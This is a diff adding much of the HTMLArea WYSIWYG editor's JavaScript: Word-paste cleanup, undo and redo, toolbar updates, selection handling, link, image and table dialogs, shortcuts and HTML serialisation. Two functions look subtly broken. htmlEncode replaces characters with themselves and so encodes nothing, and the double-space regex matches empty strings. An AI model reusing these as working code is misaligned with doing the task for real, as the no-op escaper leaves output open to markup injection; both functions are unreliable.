+ replace(/ align=[^\s|>]*/gi,'');
+
+ //clean up tags
+ D = D.replace(/<b [^>]*>/gi,'<b>').
+ replace(/<i [^>]*>/gi,'<i>').
+ replace(/<li [^>]*>/gi,'<li>').
+ replace(/<ul [^>]*>/gi,'<ul>');
+
+ // replace outdated tags
+ D = D.replace(/<b>/gi,'<strong>').
+ replace(/<\/b>/gi,'</strong>');
+
+ // mozilla doesn't like <em> tags
+ D = D.replace(/<em>/gi,'<i>').
+ replace(/<\/em>/gi,'</i>');
+
+ // kill unwanted tags
+ D = D.replace(/<\?xml:[^>]*>/g, ''). // Word xml
+ replace(/<\/?st1:[^>]*>/g,''). // Word SmartTags
+ replace(/<\/?[a-z]\:[^>]*>/g,''). // All other funny Word non-HTML stuff
+ replace(/<\/?font[^>]*>/gi,''). // Disable if you want to keep font formatting
+ replace(/<\/?span[^>]*>/gi,' ').
+ replace(/<\/?div[^>]*>/gi,' ').
+ replace(/<\/?pre[^>]*>/gi,' ').
+ replace(/<\/?h[1-6][^>]*>/gi,' ');
+
+ //remove empty tags
+ //D = D.replace(/<strong><\/strong>/gi,'').
+ //replace(/<i><\/i>/gi,'').
+ //replace(/<P[^>]*><\/P>/gi,'');
+
+ // nuke double tags
+ oldlen = D.length + 1;
+ while(oldlen > D.length) {
+ oldlen = D.length;
+ // join us now and free the tags, we'll be free hackers, we'll be free... ;-)
+ D = D.replace(/<([a-z][a-z]*)> *<\/\1>/gi,' ').
+ replace(/<([a-z][a-z]*)> *<([a-z][^>]*)> *<\/\1>/gi,'<$2>');
+ }
+ D = D.replace(/<([a-z][a-z]*)><\1>/gi,'<$1>').
+ replace(/<\/([a-z][a-z]*)><\/\1>/gi,'<\/$1>');
+
+ // nuke double spaces
+ D = D.replace(/ */gi,' ');
+
+ this.setHTML(D);
+ this.updateToolbar();
+ }
+};
+
+HTMLArea.prototype.forceRedraw = function() {
+ this._doc.body.style.visibility = "hidden";
+ this._doc.body.style.visibility = "visible";
+ // this._doc.body.innerHTML = this.getInnerHTML();
+};
+
+// focuses the iframe window. returns a reference to the editor document.
+HTMLArea.prototype.focusEditor = function() {
+ switch (this._editMode) {
+ // notice the try { ... } catch block to avoid some rare exceptions in FireFox
+ // (perhaps also in other Gecko browsers). Manual focus by user is required in
+ // case of an error. Somebody has an idea?
+ case "wysiwyg" : try { this._iframe.contentWindow.focus() } catch (e) {} break;
+ case "textmode": try { this._textArea.focus() } catch (e) {} break;
+ default : alert("ERROR: mode " + this._editMode + " is not defined");
+ }
+ return this._doc;
+};
+
+// takes a snapshot of the current text (for undo)
+HTMLArea.prototype._undoTakeSnapshot = function() {
+ ++this._undoPos;
+ if (this._undoPos >= this.config.undoSteps) {
+ // remove the first element
+ this._undoQueue.shift();
+ --this._undoPos;
+ }
+ // use the fasted method (getInnerHTML);
+ var take = true;
+ var txt = this.getInnerHTML();
+ if (this._undoPos > 0)
+ take = (this._undoQueue[this._undoPos - 1] != txt);
+ if (take) {
+ this._undoQueue[this._undoPos] = txt;
+ } else {
+ this._undoPos--;
+ }
+};
+
+HTMLArea.prototype.undo = function() {
+ if (this._undoPos > 0) {
+ var txt = this._undoQueue[--this._undoPos];
+ if (txt) this.setHTML(txt);
+ else ++this._undoPos;
+ }
+};
+
+HTMLArea.prototype.redo = function() {
+ if (this._undoPos < this._undoQueue.length - 1) {
+ var txt = this._undoQueue[++this._undoPos];
+ if (txt) this.setHTML(txt);
+ else --this._undoPos;
+ }
+};
+
+// updates enabled/disable/active state of the toolbar elements
+HTMLArea.prototype.updateToolbar = function(noStatus) {
+ var doc = this._doc;
+ var text = (this._editMode == "textmode");
+ var ancestors = null;
+ if (!text) {
+ ancestors = this.getAllAncestors();
+ if (this.config.statusBar && !noStatus) {
+ this._statusBarTree.innerHTML = HTMLArea.I18N.msg["Path"] + ": "; // clear
+ for (var i = ancestors.length; --i >= 0;) {
+ var el = ancestors[i];
+ if (!el) {
+ // hell knows why we get here; this
+ // could be a classic example of why
+ // it's good to check for conditions
+ // that are impossible to happen ;-)
+ continue;
+ }
+ var a = document.createElement("a");
+ a.href = "#";
+ a.el = el;
+ a.editor = this;
+ a.onclick = function() {
+ this.blur();
+ this.editor.selectNodeContents(this.el);
+ this.editor.updateToolbar(true);
+ return false;
+ };
+ a.oncontextmenu = function() {
+ // TODO: add context menu here
+ this.blur();
+ var info = "Inline style:\n\n";
+ info += this.el.style.cssText.split(/;\s*/).join(";\n");
+ alert(info);
+ return false;
+ };
+ var txt = el.tagName.toLowerCase();
+ a.title = el.style.cssText;
+ if (el.id) {
+ txt += "#" + el.id;
+ }
+ if (el.className) {
+ txt += "." + el.className;
+ }
+ a.appendChild(document.createTextNode(txt));
+ this._statusBarTree.appendChild(a);
+ if (i != 0) {
+ this._statusBarTree.appendChild(document.createTextNode(String.fromCharCode(0xbb)));
+ }
+ }
+ }
+ }
+
+ for (var i in this._toolbarObjects) {
+ var btn = this._toolbarObjects[i];
+ var cmd = i;
+ var inContext = true;
+ if (btn.context && !text) {
+ inContext = false;
+ var context = btn.context;
+ var attrs = [];
+ if (/(.*)\[(.*?)\]/.test(context)) {
+ context = RegExp.$1;
+ attrs = RegExp.$2.split(",");
+ }
+ context = context.toLowerCase();
+ var match = (context == "*");
+ for (var k in ancestors) {
+ if (!ancestors[k]) {
+ // the impossible really happens.
+ continue;
+ }
+ if (match || (ancestors[k].tagName.toLowerCase() == context)) {
+ inContext = true;
+ for (var ka in attrs) {
+ if (!eval("ancestors[k]." + attrs[ka])) {
+ inContext = false;
+ break;
+ }
+ }
+ if (inContext) {
+ break;
+ }
+ }
+ }
+ }
+ btn.state("enabled", (!text || btn.text) && inContext);
+ if (typeof cmd == "function") {
+ continue;
+ }
+ // look-it-up in the custom dropdown boxes
+ var dropdown = this.config.customSelects[cmd];
+ if ((!text || btn.text) && (typeof dropdown != "undefined")) {
+ dropdown.refresh(this);
+ continue;
+ }
+ switch (cmd) {
+ case "fontname":
+ case "fontsize":
+ case "formatblock":
+ if (!text) try {
+ var value = ("" + doc.queryCommandValue(cmd)).toLowerCase();
+ if (!value) {
+ // FIXME: what do we do here?
+ break;
+ }
+ // HACK -- retrieve the config option for this
+ // combo box. We rely on the fact that the
+ // variable in config has the same name as
+ // button name in the toolbar.
+ var options = this.config[cmd];
+ var k = 0;
+ // btn.element.selectedIndex = 0;
+ for (var j in options) {
+ // FIXME: the following line is scary.
+ if ((j.toLowerCase() == value) ||
+ (options[j].substr(0, value.length).toLowerCase() == value)) {
+ btn.element.selectedIndex = k;
+ break;
+ }
+ ++k;
+ }
+ } catch(e) {};
+ break;
+ case "textindicator":
+ if (!text) {
+ try {with (btn.element.style) {
+ backgroundColor = HTMLArea._makeColor(
+ doc.queryCommandValue(HTMLArea.is_ie ? "backcolor" : "hilitecolor"));
+ if (/transparent/i.test(backgroundColor)) {
+ // Mozilla
+ backgroundColor = HTMLArea._makeColor(doc.queryCommandValue("backcolor"));
+ }
+ color = HTMLArea._makeColor(doc.queryCommandValue("forecolor"));
+ fontFamily = doc.queryCommandValue("fontname");
+ fontWeight = doc.queryCommandState("bold") ? "bold" : "normal";
+ fontStyle = doc.queryCommandState("italic") ? "italic" : "normal";
+ }} catch (e) {
+ // alert(e + "\n\n" + cmd);
+ }
+ }
+ break;
+ case "htmlmode": btn.state("active", text); break;
+ case "lefttoright":
+ case "righttoleft":
+ var el = this.getParentElement();
+ while (el && !HTMLArea.isBlockElement(el))
+ el = el.parentNode;
+ if (el)
+ btn.state("active", (el.style.direction == ((cmd == "righttoleft") ? "rtl" : "ltr")));
+ break;
+ default:
+ cmd = cmd.replace(/(un)?orderedlist/i, "insert$1orderedlist");
+ try {
+ btn.state("active", (!text && doc.queryCommandState(cmd)));
+ } catch (e) {}
+ }
+ }
+ // take undo snapshots
+ if (this._customUndo && !this._timerUndo) {
+ this._undoTakeSnapshot();
+ var editor = this;
+ this._timerUndo = setTimeout(function() {
+ editor._timerUndo = null;
+ }, this.config.undoTimeout);
+ }
+
+ // check if any plugins have registered refresh handlers
+ for (var i in this.plugins) {
+ var plugin = this.plugins[i].instance;
+ if (typeof plugin.onUpdateToolbar == "function")
+ plugin.onUpdateToolbar();
+ }
+};
+
+/** Returns a node after which we can insert other nodes, in the current
+ * selection. The selection is removed. It splits a text node, if needed.
+ */
+HTMLArea.prototype.insertNodeAtSelection = function(toBeInserted) {
+ if (!HTMLArea.is_ie) {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ // remove the current selection
+ sel.removeAllRanges();
+ range.deleteContents();
+ var node = range.startContainer;
+ var pos = range.startOffset;
+ switch (node.nodeType) {
+ case 3: // Node.TEXT_NODE
+ // we have to split it at the caret position.
+ if (toBeInserted.nodeType == 3) {
+ // do optimized insertion
+ node.insertData(pos, toBeInserted.data);
+ range = this._createRange();
+ range.setEnd(node, pos + toBeInserted.length);
+ range.setStart(node, pos + toBeInserted.length);
+ sel.addRange(range);
+ } else {
+ node = node.splitText(pos);
+ var selnode = toBeInserted;
+ if (toBeInserted.nodeType == 11 /* Node.DOCUMENT_FRAGMENT_NODE */) {
+ selnode = selnode.firstChild;
+ }
+ node.parentNode.insertBefore(toBeInserted, node);
+ this.selectNodeContents(selnode);
+ this.updateToolbar();
+ }
+ break;
+ case 1: // Node.ELEMENT_NODE
+ var selnode = toBeInserted;
+ if (toBeInserted.nodeType == 11 /* Node.DOCUMENT_FRAGMENT_NODE */) {
+ selnode = selnode.firstChild;
+ }
+ node.insertBefore(toBeInserted, node.childNodes[pos]);
+ this.selectNodeContents(selnode);
+ this.updateToolbar();
+ break;
+ }
+ } else {
+ return null; // this function not yet used for IE <FIXME>
+ }
+};
+
+// Returns the deepest node that contains both endpoints of the selection.
+HTMLArea.prototype.getParentElement = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ if (HTMLArea.is_ie) {
+ switch (sel.type) {
+ case "Text":
+ case "None":
+ // It seems that even for selection of type "None",
+ // there _is_ a parent element and it's value is not
+ // only correct, but very important to us. MSIE is
+ // certainly the buggiest browser in the world and I
+ // wonder, God, how can Earth stand it?
+ return range.parentElement();
+ case "Control":
+ return range.item(0);
+ default:
+ return this._doc.body;
+ }
+ } else try {
+ var p = range.commonAncestorContainer;
+ if (!range.collapsed && range.startContainer == range.endContainer &&
+ range.startOffset - range.endOffset <= 1 && range.startContainer.hasChildNodes())
+ p = range.startContainer.childNodes[range.startOffset];
+ /*
+ alert(range.startContainer + ":" + range.startOffset + "\n" +
+ range.endContainer + ":" + range.endOffset);
+ */
+ while (p.nodeType == 3) {
+ p = p.parentNode;
+ }
+ return p;
+ } catch (e) {
+ return null;
+ }
+};
+
+// Returns an array with all the ancestor nodes of the selection.
+HTMLArea.prototype.getAllAncestors = function() {
+ var p = this.getParentElement();
+ var a = [];
+ while (p && (p.nodeType == 1) && (p.tagName.toLowerCase() != 'body')) {
+ a.push(p);
+ p = p.parentNode;
+ }
+ a.push(this._doc.body);
+ return a;
+};
+
+// Selects the contents inside the given node
+HTMLArea.prototype.selectNodeContents = function(node, pos) {
+ this.focusEditor();
+ this.forceRedraw();
+ var range;
+ var collapsed = (typeof pos != "undefined");
+ if (HTMLArea.is_ie) {
+ range = this._doc.body.createTextRange();
+ range.moveToElementText(node);
+ (collapsed) && range.collapse(pos);
+ range.select();
+ } else {
+ var sel = this._getSelection();
+ range = this._doc.createRange();
+ range.selectNodeContents(node);
+ (collapsed) && range.collapse(pos);
+ sel.removeAllRanges();
+ sel.addRange(range);
+ }
+};
+
+/** Call this function to insert HTML code at the current position. It deletes
+ * the selection, if any.
+ */
+HTMLArea.prototype.insertHTML = function(html) {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ if (HTMLArea.is_ie) {
+ range.pasteHTML(html);
+ } else {
+ // construct a new document fragment with the given HTML
+ var fragment = this._doc.createDocumentFragment();
+ var div = this._doc.createElement("div");
+ div.innerHTML = html;
+ while (div.firstChild) {
+ // the following call also removes the node from div
+ fragment.appendChild(div.firstChild);
+ }
+ // this also removes the selection
+ var node = this.insertNodeAtSelection(fragment);
+ }
+};
+
+/**
+ * Call this function to surround the existing HTML code in the selection with
+ * your tags. FIXME: buggy! This function will be deprecated "soon".
+ */
+HTMLArea.prototype.surroundHTML = function(startTag, endTag) {
+ var html = this.getSelectedHTML();
+ // the following also deletes the selection
+ this.insertHTML(startTag + html + endTag);
+};
+
+/// Retrieve the selected block
+HTMLArea.prototype.getSelectedHTML = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ var existing = null;
+ if (HTMLArea.is_ie) {
+ existing = range.htmlText;
+ } else {
+ existing = HTMLArea.getHTML(range.cloneContents(), false, this);
+ }
+ return existing;
+};
+
+/// Return true if we have some selection
+HTMLArea.prototype.hasSelectedText = function() {
+ // FIXME: come _on_ mishoo, you can do better than this ;-)
+ return this.getSelectedHTML() != '';
+};
+
+HTMLArea.prototype._createLink = function(link) {
+ var editor = this;
+ var outparam = null;
+ if (typeof link == "undefined") {
+ link = this.getParentElement();
+ if (link && !/^a$/i.test(link.tagName))
+ link = null;
+ }
+ if (link) outparam = {
+ f_href : HTMLArea.is_ie ? editor.stripBaseURL(link.href) : link.getAttribute("href"),
+ f_title : link.title,
+ f_target : link.target
+ };
+ this._popupDialog("link.html", function(param) {
+ if (!param)
+ return false;
+ var a = link;
+ if (!a) try {
+ editor._doc.execCommand("createlink", false, param.f_href);
+ a = editor.getParentElement();
+ var sel = editor._getSelection();
+ var range = editor._createRange(sel);
+ if (!HTMLArea.is_ie) {
+ a = range.startContainer;
+ if (!/^a$/i.test(a.tagName)) {
+ a = a.nextSibling;
+ if (a == null)
+ a = range.startContainer.parentNode;
+ }
+ }
+ } catch(e) {}
+ else {
+ var href = param.f_href.trim();
+ editor.selectNodeContents(a);
+ if (href == "") {
+ editor._doc.execCommand("unlink", false, null);
+ editor.updateToolbar();
+ return false;
+ }
+ else {
+ a.href = href;
+ }
+ }
+ if (!(a && /^a$/i.test(a.tagName)))
+ return false;
+ a.target = param.f_target.trim();
+ a.title = param.f_title.trim();
+ editor.selectNodeContents(a);
+ editor.updateToolbar();
+ }, outparam);
+};
+
+// Called when the user clicks on "InsertImage" button. If an image is already
+// there, it will just modify it's properties.
+HTMLArea.prototype._insertImage = function(image) {
+ var editor = this; // for nested functions
+ var outparam = null;
+ if (typeof image == "undefined") {
+ image = this.getParentElement();
+ if (image && !/^img$/i.test(image.tagName))
+ image = null;
+ }
+ if (image) outparam = {
+ f_url : HTMLArea.is_ie ? editor.stripBaseURL(image.src) : image.getAttribute("src"),
+ f_alt : image.alt,
+ f_border : image.border,
+ f_align : image.align,
+ f_vert : image.vspace,
+ f_horiz : image.hspace
+ };
+ this._popupDialog("insert_image.html", function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var img = image;
+ if (!img) {
+ var sel = editor._getSelection();
+ var range = editor._createRange(sel);
+ editor._doc.execCommand("insertimage", false, param.f_url);
+ if (HTMLArea.is_ie) {
+ img = range.parentElement();
+ // wonder if this works...
+ if (img.tagName.toLowerCase() != "img") {
+ img = img.previousSibling;
+ }
+ } else {
+ img = range.startContainer.previousSibling;
+ }
+ } else {
+ img.src = param.f_url;
+ }
+
+ for (field in param) {
+ var value = param[field];
+ switch (field) {
+ case "f_alt" : img.alt = value; break;
+ case "f_border" : img.border = parseInt(value || "0"); break;
+ case "f_align" : img.align = value; break;
+ case "f_vert" : img.vspace = parseInt(value || "0"); break;
+ case "f_horiz" : img.hspace = parseInt(value || "0"); break;
+ }
+ }
+ }, outparam);
+};
+
+// Called when the user clicks the Insert Table button
+HTMLArea.prototype._insertTable = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ var editor = this; // for nested functions
+ this._popupDialog("insert_table.html", function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var doc = editor._doc;
+ // create the table element
+ var table = doc.createElement("table");
+ // assign the given arguments
+
+ for (var field in param) {
+ var value = param[field];
+ if (!value) {
+ continue;
+ }
+ switch (field) {
+ case "f_width" : table.style.width = value + param["f_unit"]; break;
+ case "f_align" : table.align = value; break;
+ case "f_border" : table.border = parseInt(value); break;
+ case "f_spacing" : table.cellSpacing = parseInt(value); break;
+ case "f_padding" : table.cellPadding = parseInt(value); break;
+ }
+ }
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+ for (var i = 0; i < param["f_rows"]; ++i) {
+ var tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ for (var j = 0; j < param["f_cols"]; ++j) {
+ var td = doc.createElement("td");
+ tr.appendChild(td);
+ // Mozilla likes to see something inside the cell.
+ (HTMLArea.is_gecko) && td.appendChild(doc.createElement("br"));
+ }
+ }
+ if (HTMLArea.is_ie) {
+ range.pasteHTML(table.outerHTML);
+ } else {
+ // insert the table
+ editor.insertNodeAtSelection(table);
+ }
+ return true;
+ }, null);
+};
+
+/***************************************************
+ * Category: EVENT HANDLERS
+ ***************************************************/
+
+// el is reference to the SELECT object
+// txt is the name of the select field, as in config.toolbar
+HTMLArea.prototype._comboSelected = function(el, txt) {
+ this.focusEditor();
+ var value = el.options[el.selectedIndex].value;
+ switch (txt) {
+ case "fontname":
+ case "fontsize": this.execCommand(txt, false, value); break;
+ case "formatblock":
+ (HTMLArea.is_ie) && (value = "<" + value + ">");
+ this.execCommand(txt, false, value);
+ break;
+ default:
+ // try to look it up in the registered dropdowns
+ var dropdown = this.config.customSelects[txt];
+ if (typeof dropdown != "undefined") {
+ dropdown.action(this);
+ } else {
+ alert("FIXME: combo box " + txt + " not implemented");
+ }
+ }
+};
+
+// the execCommand function (intercepts some commands and replaces them with
+// our own implementation)
+HTMLArea.prototype.execCommand = function(cmdID, UI, param) {
+ var editor = this; // for nested functions
+ this.focusEditor();
+ cmdID = cmdID.toLowerCase();
+ switch (cmdID) {
+ case "htmlmode" : this.setMode(); break;
+ case "hilitecolor":
+ (HTMLArea.is_ie) && (cmdID = "backcolor");
+ case "forecolor":
+ this._popupDialog("select_color.html", function(color) {
+ if (color) { // selection not canceled
+ editor._doc.execCommand(cmdID, false, "#" + color);
+ }
+ }, HTMLArea._colorToRgb(this._doc.queryCommandValue(cmdID)));
+ break;
+ case "createlink":
+ this._createLink();
+ break;
+ case "popupeditor":
+ // this object will be passed to the newly opened window
+ HTMLArea._object = this;
+ if (HTMLArea.is_ie) {
+ //if (confirm(HTMLArea.I18N.msg["IE-sucks-full-screen"]))
+ {
+ window.open(this.popupURL("fullscreen.html"), "ha_fullscreen",
+ "toolbar=no,location=no,directories=no,status=no,menubar=no," +
+ "scrollbars=no,resizable=yes,width=640,height=480");
+ }
+ } else {
+ window.open(this.popupURL("fullscreen.html"), "ha_fullscreen",
+ "toolbar=no,menubar=no,personalbar=no,width=640,height=480," +
+ "scrollbars=no,resizable=yes");
+ }
+ break;
+ case "undo":
+ case "redo":
+ if (this._customUndo)
+ this[cmdID]();
+ else
+ this._doc.execCommand(cmdID, UI, param);
+ break;
+ case "inserttable": this._insertTable(); break;
+ case "insertimage": this._insertImage(); break;
+ case "about" : this._popupDialog("about.html", null, this); break;
+ case "showhelp" : window.open(_editor_url + "reference.html", "ha_help"); break;
+
+ case "killword": this._wordClean(); break;
+
+ case "cut":
+ case "copy":
+ case "paste":
+ try {
+ this._doc.execCommand(cmdID, UI, param);
+ if (this.config.killWordOnPaste)
+ this._wordClean();
+ } catch (e) {
+ if (HTMLArea.is_gecko) {
+ if (typeof HTMLArea.I18N.msg["Moz-Clipboard"] == "undefined") {
+ HTMLArea.I18N.msg["Moz-Clipboard"] =
+ "Unprivileged scripts cannot access Cut/Copy/Paste programatically " +
+ "for security reasons. Click OK to see a technical note at mozilla.org " +
+ "which shows you how to allow a script to access the clipboard.\n\n" +
+ "[FIXME: please translate this message in your language definition file.]";
+ }
+ if (confirm(HTMLArea.I18N.msg["Moz-Clipboard"]))
+ window.open("http://mozilla.org/editor/midasdemo/securityprefs.html");
+ }
+ }
+ break;
+ case "lefttoright":
+ case "righttoleft":
+ var dir = (cmdID == "righttoleft") ? "rtl" : "ltr";
+ var el = this.getParentElement();
+ while (el && !HTMLArea.isBlockElement(el))
+ el = el.parentNode;
+ if (el) {
+ if (el.style.direction == dir)
+ el.style.direction = "";
+ else
+ el.style.direction = dir;
+ }
+ break;
+ default: this._doc.execCommand(cmdID, UI, param);
+ }
+ this.updateToolbar();
+ return false;
+};
+
+/** A generic event handler for things that happen in the IFRAME's document.
+ * This function also handles key bindings. */
+HTMLArea.prototype._editorEvent = function(ev) {
+ var editor = this;
+ var keyEvent = (HTMLArea.is_ie && ev.type == "keydown") || (ev.type == "keypress");
+
+ if (keyEvent) {
+ for (var i in editor.plugins) {
+ var plugin = editor.plugins[i].instance;
+ if (typeof plugin.onKeyPress == "function") plugin.onKeyPress(ev);
+ }
+ }
+ if (keyEvent && ev.ctrlKey && !ev.altKey) {
+ var sel = null;
+ var range = null;
+ var key = String.fromCharCode(HTMLArea.is_ie ? ev.keyCode : ev.charCode).toLowerCase();
+ var cmd = null;
+ var value = null;
+ switch (key) {
+ case 'a':
+ if (!HTMLArea.is_ie) {
+ // KEY select all
+ sel = this._getSelection();
+ sel.removeAllRanges();
+ range = this._createRange();
+ range.selectNodeContents(this._doc.body);
+ sel.addRange(range);
+ HTMLArea._stopEvent(ev);
+ }
+ break;
+
+ // simple key commands follow
+
+ case 'b': cmd = "bold"; break;
+ case 'i': cmd = "italic"; break;
+ case 'u': cmd = "underline"; break;
+ case 's': cmd = "strikethrough"; break;
+ case 'l': cmd = "justifyleft"; break;
+ case 'e': cmd = "justifycenter"; break;
+ case 'r': cmd = "justifyright"; break;
+ case 'j': cmd = "justifyfull"; break;
+ case 'z': cmd = "undo"; break;
+ case 'y': cmd = "redo"; break;
+ case 'v': cmd = "paste"; break;
+
+ case '0': cmd = "killword"; break;
+
+ // headings
+ case '1':
+ case '2':
+ case '3':
+ case '4':
+ case '5':
+ case '6':
+ cmd = "formatblock";
+ value = "h" + key;
+ if (HTMLArea.is_ie) {
+ value = "<" + value + ">";
+ }
+ break;
+ }
+ if (cmd) {
+ // execute simple command
+ this.execCommand(cmd, false, value);
+ HTMLArea._stopEvent(ev);
+ }
+ }
+ /*
+ else if (keyEvent) {
+ // other keys here
+ switch (ev.keyCode) {
+ case 13: // KEY enter
+ // if (HTMLArea.is_ie) {
+ this.insertHTML("<br />");
+ HTMLArea._stopEvent(ev);
+ // }
+ break;
+ }
+ }
+ */
+ // update the toolbar state after some time
+ if (editor._timerToolbar) {
+ clearTimeout(editor._timerToolbar);
+ }
+ editor._timerToolbar = setTimeout(function() {
+ editor.updateToolbar();
+ editor._timerToolbar = null;
+ }, 50);
+};
+
+// retrieve the HTML
+HTMLArea.prototype.getHTML = function() {
+ switch (this._editMode) {
+ case "wysiwyg" :
+ if (!this.config.fullPage) {
+ return HTMLArea.getHTML(this._doc.body, false, this);
+ } else
+ return this.doctype + "\n" + HTMLArea.getHTML(this._doc.documentElement, true, this);
+ case "textmode" : return this._textArea.value;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// retrieve the HTML (fastest version, but uses innerHTML)
+HTMLArea.prototype.getInnerHTML = function() {
+ switch (this._editMode) {
+ case "wysiwyg" :
+ if (!this.config.fullPage)
+ return this._doc.body.innerHTML;
+ else
+ return this.doctype + "\n" + this._doc.documentElement.innerHTML;
+ case "textmode" : return this._textArea.value;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// completely change the HTML inside
+HTMLArea.prototype.setHTML = function(html) {
+ switch (this._editMode) {
+ case "wysiwyg" :
+ if (!this.config.fullPage)
+ this._doc.body.innerHTML = html;
+ else
+ // this._doc.documentElement.innerHTML = html;
+ this._doc.body.innerHTML = html;
+ break;
+ case "textmode" : this._textArea.value = html; break;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// sets the given doctype (useful when config.fullPage is true)
+HTMLArea.prototype.setDoctype = function(doctype) {
+ this.doctype = doctype;
+};
+
+/***************************************************
+ * Category: UTILITY FUNCTIONS
+ ***************************************************/
+
+// browser identification
+
+HTMLArea.agt = navigator.userAgent.toLowerCase();
+HTMLArea.is_ie = ((HTMLArea.agt.indexOf("msie") != -1) && (HTMLArea.agt.indexOf("opera") == -1));
+HTMLArea.is_opera = (HTMLArea.agt.indexOf("opera") != -1);
+HTMLArea.is_mac = (HTMLArea.agt.indexOf("mac") != -1);
+HTMLArea.is_mac_ie = (HTMLArea.is_ie && HTMLArea.is_mac);
+HTMLArea.is_win_ie = (HTMLArea.is_ie && !HTMLArea.is_mac);
+HTMLArea.is_gecko = (navigator.product == "Gecko");
+
+// variable used to pass the object to the popup editor window.
+HTMLArea._object = null;
+
+// function that returns a clone of the given object
+HTMLArea.cloneObject = function(obj) {
+ var newObj = new Object;
+
+ // check for array objects
+ if (obj.constructor.toString().indexOf("function Array(") == 1) {
+ newObj = obj.constructor();
+ }
+
+ // check for function objects (as usual, IE is fucked up)
+ if (obj.constructor.toString().indexOf("function Function(") == 1) {
+ newObj = obj; // just copy reference to it
+ } else for (var n in obj) {
+ var node = obj[n];
+ if (typeof node == 'object') { newObj[n] = HTMLArea.cloneObject(node); }
+ else { newObj[n] = node; }
+ }
+
+ return newObj;
+};
+
+// FIXME!!! this should return false for IE < 5.5
+HTMLArea.checkSupportedBrowser = function() {
+ if (HTMLArea.is_gecko) {
+ if (navigator.productSub < 20021201) {
+ alert("You need at least Mozilla-1.3 Alpha.\n" +
+ "Sorry, your Gecko is not supported.");
+ return false;
+ }
+ if (navigator.productSub < 20030210) {
+ alert("Mozilla < 1.3 Beta is not supported!\n" +
+ "I'll try, though, but it might not work.");
+ }
+ }
+ return HTMLArea.is_gecko || HTMLArea.is_ie;
+};
+
+// selection & ranges
+
+// returns the current selection object
+HTMLArea.prototype._getSelection = function() {
+ if (HTMLArea.is_ie) {
+ return this._doc.selection;
+ } else {
+ return this._iframe.contentWindow.getSelection();
+ }
+};
+
+// returns a range for the current selection
+HTMLArea.prototype._createRange = function(sel) {
+ if (HTMLArea.is_ie) {
+ return sel.createRange();
+ } else {
+ this.focusEditor();
+ if (typeof sel != "undefined") {
+ try {
+ return sel.getRangeAt(0);
+ } catch(e) {
+ return this._doc.createRange();
+ }
+ } else {
+ return this._doc.createRange();
+ }
+ }
+};
+
+// event handling
+
+HTMLArea._addEvent = function(el, evname, func) {
+ if (HTMLArea.is_ie) {
+ el.attachEvent("on" + evname, func);
+ } else {
+ el.addEventListener(evname, func, true);
+ }
+};
+
+HTMLArea._addEvents = function(el, evs, func) {
+ for (var i in evs) {
+ HTMLArea._addEvent(el, evs[i], func);
+ }
+};
+
+HTMLArea._removeEvent = function(el, evname, func) {
+ if (HTMLArea.is_ie) {
+ el.detachEvent("on" + evname, func);
+ } else {
+ el.removeEventListener(evname, func, true);
+ }
+};
+
+HTMLArea._removeEvents = function(el, evs, func) {
+ for (var i in evs) {
+ HTMLArea._removeEvent(el, evs[i], func);
+ }
+};
+
+HTMLArea._stopEvent = function(ev) {
+ if (HTMLArea.is_ie) {
+ ev.cancelBubble = true;
+ ev.returnValue = false;
+ } else {
+ ev.preventDefault();
+ ev.stopPropagation();
+ }
+};
+
+HTMLArea._removeClass = function(el, className) {
+ if (!(el && el.className)) {
+ return;
+ }
+ var cls = el.className.split(" ");
+ var ar = new Array();
+ for (var i = cls.length; i > 0;) {
+ if (cls[--i] != className) {
+ ar[ar.length] = cls[i];
+ }
+ }
+ el.className = ar.join(" ");
+};
+
+HTMLArea._addClass = function(el, className) {
+ // remove the class first, if already there
+ HTMLArea._removeClass(el, className);
+ el.className += " " + className;
+};
+
+HTMLArea._hasClass = function(el, className) {
+ if (!(el && el.className)) {
+ return false;
+ }
+ var cls = el.className.split(" ");
+ for (var i = cls.length; i > 0;) {
+ if (cls[--i] == className) {
+ return true;
+ }
+ }
+ return false;
+};
+
+HTMLArea.isBlockElement = function(el) {
+ var blockTags = " body form textarea fieldset ul ol dl li div " +
+ "p h1 h2 h3 h4 h5 h6 quote pre table thead " +
+ "tbody tfoot tr td iframe address ";
+ return (blockTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
+};
+
+HTMLArea.needsClosingTag = function(el) {
+ var closingTags = " head script style div span tr td tbody table em strong font a title ";
+ return (closingTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
+};
+
+// performs HTML encoding of some given string
+HTMLArea.htmlEncode = function(str) {
+ // we don't need regexp for that, but.. so be it for now.
+ str = str.replace(/&/ig, "&");
+ str = str.replace(/</ig, "<");
+ str = str.replace(/>/ig, ">");
+ str = str.replace(/\x22/ig, """);
+ // \x22 means '"' -- we use hex reprezentation so that we don't disturb
+ // JS compressors (well, at least mine fails.. ;)
+ return str;
+};
+
+// Retrieves the HTML code from the given node. This is a replacement for
+// getting innerHTML, using standard DOM calls.
+HTMLArea.getHTML = function(root, outputRoot, editor) {
+ var html = "";
+ switch (root.nodeType) {
+ case 1: // Node.ELEMENT_NODE
+ case 11: // Node.DOCUMENT_FRAGMENT_NODE
+ var closed;
+ var i;
+ var root_tag = (root.nodeType == 1) ? root.tagName.toLowerCase() : '';
+ if (HTMLArea.is_ie && root_tag == "head") {
+ if (outputRoot)
+ html += "<head>";
+ // lowercasize
+ var save_multiline = RegExp.multiline;
+ RegExp.multiline = true;
+ var txt = root.innerHTML.replace(HTMLArea.RE_tagName, function(str, p1, p2) {
+ return p1 + p2.toLowerCase();
+ });
+ RegExp.multiline = save_multiline;
+ html += txt;
+ if (outputRoot)
+ html += "</head>";
+ break;
+ } else if (outputRoot) {
+ closed = (!(root.hasChildNodes() || HTMLArea.needsClosingTag(root)));
